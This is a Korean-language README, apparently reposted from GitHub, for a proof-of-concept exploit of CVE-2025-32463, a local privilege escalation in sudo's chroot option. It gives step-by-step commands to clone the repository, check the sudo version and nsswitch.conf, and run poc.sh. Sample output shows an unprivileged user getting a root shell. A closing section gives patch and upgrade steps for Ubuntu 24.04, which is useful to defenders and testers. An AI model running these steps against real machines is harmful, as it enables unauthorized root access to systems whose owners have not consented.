CVE-2025-32463 – Sudo EoP 익스플로잇(PoC) 및 사전 컴파일된 라이브러리

이 저장소는 Rich Mirch가 발견한 sudo의 로컬 권한 상승 취약점인 CVE-2025-32463에 대한 개념 증명(PoC) 익스플로잇을 포함합니다.

크레딧

https://github.com/kh4sh3i/CVE-2025-32463

⚠️ 면책 조항

이 PoC는 교육 및 공인된 테스트 목적으로만 제공됩니다. 소유하지 않았거나 명시적 허가를 받지 않은 시스템에서 이 코드를 사용하지 마십시오.

🔧 요구 사항

• chroot 지원(-R)이 포함된 sudo: 버전 1.9.14 ~ 1.9.17
• nsswitch 활성화

🚀 PoC 실행 방법

git clone https://github.com/zinzloun/CVE-2025-32463.git
cd CVE-2025-32463

현재 사용자에게 낮은 권한이 있는지 확인합니다

:~/CVE-2025-32463$ id
uid=1001(poc) gid=1001(poc) groups=1001(poc),100(users)

요구 사항을 확인합니다

:~/CVE-2025-32463$ sudo --version
Sudo version 1.9.15p5
...
:~/CVE-2025-32463$ ls -al /etc/nsswitch.conf
-rw-r--r-- 1 root root 526 Feb 16 20:57 /etc/nsswitch.conf

익스플로잇을 실행합니다

:~/CVE-2025-32463$ chmod +x poc.sh && ./poc.sh
woot!
root@ubutes01:/# id
uid=0(root) gid=0(root) groups=0(root),100(users),1001(poc)

🚒 Ubuntu 24.04 LTS에서의 해결 방법

• 네트워크에 연결된 시스템의 경우 다음을 실행하세요

  root@kitploit:~

  sudo apt update && sudo apt upgrade
  

• 네트워크가 분리된(air gapped) 시스템의 경우: 최신 sudo 패키지를 여기에서 받을 수 있습니다: https://github.com/sudo-project/sudo/releases/download/v1.9.17p1/sudo_1.9.17-2_ubu2404_amd64.deb. 패키지를 대상 시스템으로 전송한 후 다음을 실행하세요:

  root@kitploit:~

   sudo dpkg -i sudo_1.9.17-2_ubu2404_amd64.deb